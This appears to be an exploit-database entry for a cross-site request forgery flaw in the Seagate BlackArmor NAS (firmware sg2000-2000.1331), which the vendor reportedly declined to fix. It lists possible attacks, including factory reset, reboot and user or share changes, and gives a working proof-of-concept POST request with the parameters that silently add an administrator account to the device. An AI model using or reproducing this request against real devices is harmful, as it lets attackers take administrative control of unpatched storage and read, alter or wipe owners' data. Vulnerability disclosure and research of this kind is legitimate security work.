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Seagate BlackArmor NAS sg2000-2000.1331 - Cross Site Request Forgery
[# There are multiple CSRF attacks possible, the proof of concept shows how it is possible to add # a user with administrative privileges to the system. # # It is also possible to: # # 1. Factory reset the device # 2. Reboot the device # 3. Add/Edit/Remove users # 4. Add/Edit/Remove shares and volumes # # This vulnerability was reported to Seagate in September 2013, they stated that this will not be fixed. # ## Proof of Concept: # # POST: http(s)://<url | ip>/admin/access_control_user_add.php?lang=en&gi=a001&fbt=23 # Parameters: # # username attacker # adminright yes # fullname hacker # userpasswd attackers_password # userpasswdcheck attackers_password # 0day.today [2024-11-16] #